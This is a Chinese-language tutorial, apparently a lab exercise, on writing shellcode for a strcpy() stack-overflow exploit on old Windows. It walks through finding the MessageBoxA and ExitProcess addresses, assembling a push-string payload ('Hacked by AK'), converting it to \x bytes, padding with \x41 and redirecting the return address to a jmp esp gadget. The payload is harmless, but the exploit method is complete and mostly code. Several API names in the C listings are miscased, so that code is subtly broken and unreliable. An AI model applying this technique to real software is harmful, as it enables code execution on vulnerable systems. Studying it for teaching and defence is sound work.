栈溢出shellcode编写
目标是利用栈溢出漏洞,编写shellcode,弹出MessageBox
首先需要获取MessageBox的地址,位于user32.dll中,代码如下
#include <windows.h> #include <stdio.h> typedef void (*MYpROC)(LpTSTR); int main() { HINSTANCE LibHandle; MYpROC procAdd; LibHandle = LoadLibrary("user32"); //获取user32.dll的地址 printf("user32 = 0x%x", LibHandle); //获取的地址 procAdd=(MYpROC)GetprocAddress(LibHandle,"MessageBoxA"); printf("MessageBoxA = 0x%x", procAdd); getchar(); return 0; }
运行
栈溢出操作破坏了原来的栈空间,可能在显示完MessageBox后程序崩溃,所以需要在对话框结束后使用ExitProcess()来结束程序
ExitProcess()地址查找代码
#include <windows.h> #include <stdio.h> typedef void (*MYpROC)(LpTSTR); Int main() { HINSTANCE LibHandle; MYpROC procAdd; LibHandle = LoadLibrary("kernel32"); //获取kernel32.dll的地址 printf("kernel32 = 0x%x", LibHandle); //获取Exitprocess的地址 procAdd=(MYpROC)GetprocAddress(LibHandle,"Exitprocess"); printf("Exitprocess = 0x%x", procAdd); getchar(); return 0; }
运行找到ExitProcess地址
至此,记录这两个重要地址
MessageBox = 0x77d507ea
ExitProcess = 0x7c81bfa2
接下来使用汇编写shellcode
使用xssee等工具对字符转成ASCII码,格式为前边加\x的shellcode
然后四个一组,不全的\x20(空格)补齐,不使用\x00(空)补齐是因为使用的strcpy()溢出漏洞,\x00在strcpy()中意味着字符串结束,不再拷贝后续内容
\x46\x42\x49\x20
\x57\x61\x72\x6e
\x69\x6e\x67\x20 //FBI Warning
\x48\x61\x63\x6b
\x65\x64\x20\x62
\x79\x20\x41\x4b //Hacked by AK
变为汇编需要小端序倒序,然后使用push命令入栈
push 0x20676e69
push 0x6e726157
push 0x20494246 //push “FBI Warning”
push 0x4b412079
push 0x62206465
push 0x6b636148 //push “Hacked by AK”
入栈之后利用esp栈帧进行字符调用和操作,使用一个空字符进行截断以区分两个字符串
push 0x20676e69
push 0x6e726157
push 0x20494246 //push “FBI Warning”
mov eax, esp
push 0 //截断字符串,区分title和message
push 0x4b412079
push 0x62206465
push 0x6b636148 //push “Hacked by AK”
mov ecx, esp
根据以上代码和地址等重要信息整理得到asm代码
int main() { _asm{ sub esp,0x50 //init stack size xor ebx,ebx push ebx //split string push 0x20676e69 push 0x6e726157 push 0x20494246 // push "FBI Warning" mov eax,esp push ebx // split string push 0x4b412079 push 0x62206465 push 0x6b636148 //push “Hacked by AK” mov ecx,esp push ebx push eax push ecx push ebx mov eax,0x77d507ea call eax // call MessageBox push ebx mov eax, 0x7c81bfa2 call eax // call ExitProcess } return 0; }
在程序开始处下断点下一步需要获取shellcode的机器码
点击F5运行至断点,然后点击Disassemble按钮获取机器码
如果看不到机器码,右键选择Code Bytes
将所有的机器码复制出来变为shellcode,加\x以及英文双引号”,例如得到的部分机器码
“\x68\x69\x6E\x67\x20”
“\x68\x57\x61\x72\x6e”
“\x68\x46\x42\x49\x20” //push “FBI Warning
“\x68\x79\x20\x41\x4B”
“\x68\x65\x64\x20\x62”
“\x68\x48\x61\x63\x6B” //push “Hacked by AK”
然后拼接上一个jmp esp地址,之后填写栈空间的payload内容拼接后的shellcode payload如下,注意先使用\x41(A)*N造成溢出和填充ebp
因为需要弹窗MessageBox,所以main()函数调用user32.dll
注意头文件的引用中加入 windows.h
代码编写结束后执行,可以看到打印输出的payload内容,以及弹出的MessageBox
使用OD载入编写的程序
在调用到strcpy()之前,栈空间的内容是正常的,0x0012FF84内容也是正确的程序返回地址
然后调用strcpy()将shellcode写入栈空间后,可以看到这部分栈已经被写入shellcode代码
当调用结束,要返回main函数时,即执行到retn语句时
返回地址变成了advapi32.dll中某一条jmp esp指令的地址0x77e35b79
F8单步执行后,程序来到advapi32.dll程序领空,指向jmp esp这一条指令
而此时的esp值为0x0012FF88
F8执行后,程序来到0x0012FF88地址,这一部分代码已经被shellcode覆盖
执行shellcode,第一个call成功调用MessageBox并弹窗
点击确定后程序继续执行,并执行ExitProcess成功退出,没有造成程序崩溃,至此shellcode在栈溢出漏洞中成功利用